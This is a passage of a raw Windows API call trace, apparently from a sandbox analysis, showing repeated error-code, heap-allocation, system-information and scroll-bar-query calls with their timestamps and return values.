0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.156] SetLastError (dwErrCode=0x0) [0101.156] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.157] GetLastError () returned 0x0 [0101.157] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] GetLastError () returned 0x0 [0101.158] SetLastError (dwErrCode=0x0) [0101.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x9c) returned 0x5d3d98 [0101.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1f) returned 0x5d1858 [0101.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5d3e40 [0101.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x37) returned 0x5d3e80 [0101.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5d3ec0 [0101.158] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x31) returned 0x5d3f08 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x17) returned 0x5d0a38 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5d3f48 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x14) returned 0x5d3f78 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd) returned 0x5d0c10 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x25) returned 0x5d3f98 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x39) returned 0x5d2ad0 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x18) returned 0x5d3fc8 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x17) returned 0x5d2b18 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xe) returned 0x5d0c28 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x69) returned 0x5d2b38 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3e) returned 0x5d2bb0 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1b) returned 0x5d1880 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1d) returned 0x5d18a8 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5d2bf8 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x12) returned 0x5d2c48 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x18) returned 0x5d2c68 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1b) returned 0x5d18d0 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5d2c88 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x29) returned 0x5d2cb8 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x5d18f8 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x41) returned 0x5d2cf0 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x17) returned 0x5d2d40 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x14) returned 0x5d2d60 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xf) returned 0x5d0c40 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x16) returned 0x5d2d80 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x5d2da0 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x29) returned 0x5d2dd8 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x15) returned 0x5d2e10 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x5d1920 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x5d2e30 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x12) returned 0x5d2e68 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x18) returned 0x5d2e88 [0101.159] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x46) returned 0x5d2ea8 [0101.159] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d35e0 | out: hHeap=0x5c0000) returned 1 [0101.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x80) returned 0x5d2ef8 [0101.160] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x5d2f80 [0101.160] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0101.160] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0101.160] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4121fd) returned 0x0 [0101.160] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2ef8) returned 0x80 [0101.161] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2ef8) returned 0x80 [0101.161] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2ef8) returned 0x80 [0101.161] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2ef8) returned 0x80 [0101.161] GetLastError () returned 0x0 [0101.161] SetLastError (dwErrCode=0x0) [0101.161] GetLastError () returned 0x0 [0101.161] SetLastError (dwErrCode=0x0) [0101.161] GetLastError () returned 0x0 [0101.161] SetLastError (dwErrCode=0x0) [0101.161] GetLastError () returned 0x0 [0101.161] SetLastError (dwErrCode=0x0) [0101.161] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.162] SetLastError (dwErrCode=0x0) [0101.162] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.163] SetLastError (dwErrCode=0x0) [0101.163] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.353] GetMessageTime () returned 0 [0101.353] GetLastError () returned 0x0 [0101.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.353] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.353] GetMessageTime () returned 0 [0101.353] GetLastError () returned 0x578 [0101.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.353] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.353] GetMessageTime () returned 0 [0101.353] GetLastError () returned 0x578 [0101.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.353] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.353] GetMessageTime () returned 0 [0101.353] GetLastError () returned 0x578 [0101.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.353] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.353] GetMessageTime () returned 0 [0101.353] GetLastError () returned 0x578 [0101.353] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.353] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.354] GetMessageTime () returned 0 [0101.354] GetLastError () returned 0x578 [0101.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.354] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.354] GetMessageTime () returned 0 [0101.354] GetLastError () returned 0x578 [0101.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.354] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.354] GetMessageTime () returned 0 [0101.354] GetLastError () returned 0x578 [0101.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.354] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.354] GetMessageTime () returned 0 [0101.354] GetLastError () returned 0x578 [0101.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.354] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.354] GetMessageTime () returned 0 [0101.354] GetLastError () returned 0x578 [0101.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.354] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.354] GetMessageTime () returned 0 [0101.354] GetLastError () returned 0x578 [0101.354] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.354] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.355] GetMessageTime () returned 0 [0101.355] GetLastError () returned 0x578 [0101.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.355] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.355] GetMessageTime () returned 0 [0101.355] GetLastError () returned 0x578 [0101.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.355] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.355] GetMessageTime () returned 0 [0101.355] GetLastError () returned 0x578 [0101.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.355] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.355] GetMessageTime () returned 0 [0101.355] GetLastError () returned 0x578 [0101.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.355] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.355] GetMessageTime () returned 0 [0101.355] GetLastError () returned 0x578 [0101.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.355] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.355] GetMessageTime () returned 0 [0101.355] GetLastError () returned 0x578 [0101.355] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.356] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.356] GetMessageTime () returned 0 [0101.356] GetLastError () returned 0x578 [0101.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.356] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.356] GetMessageTime () returned 0 [0101.356] GetLastError () returned 0x578 [0101.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.356] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.356] GetMessageTime () returned 0 [0101.356] GetLastError () returned 0x578 [0101.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.356] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.356] GetMessageTime () returned 0 [0101.356] GetLastError () returned 0x578 [0101.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.356] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.356] GetMessageTime () returned 0 [0101.356] GetLastError () returned 0x578 [0101.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.356] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.356] GetMessageTime () returned 0 [0101.356] GetLastError () returned 0x578 [0101.356] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.357] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.357] GetMessageTime () returned 0 [0101.357] GetLastError () returned 0x578 [0101.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.357] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.357] GetMessageTime () returned 0 [0101.357] GetLastError () returned 0x578 [0101.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.357] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.357] GetMessageTime () returned 0 [0101.357] GetLastError () returned 0x578 [0101.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.357] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.357] GetMessageTime () returned 0 [0101.357] GetLastError () returned 0x578 [0101.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.357] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.357] GetMessageTime () returned 0 [0101.357] GetLastError () returned 0x578 [0101.357] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.357] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.357] 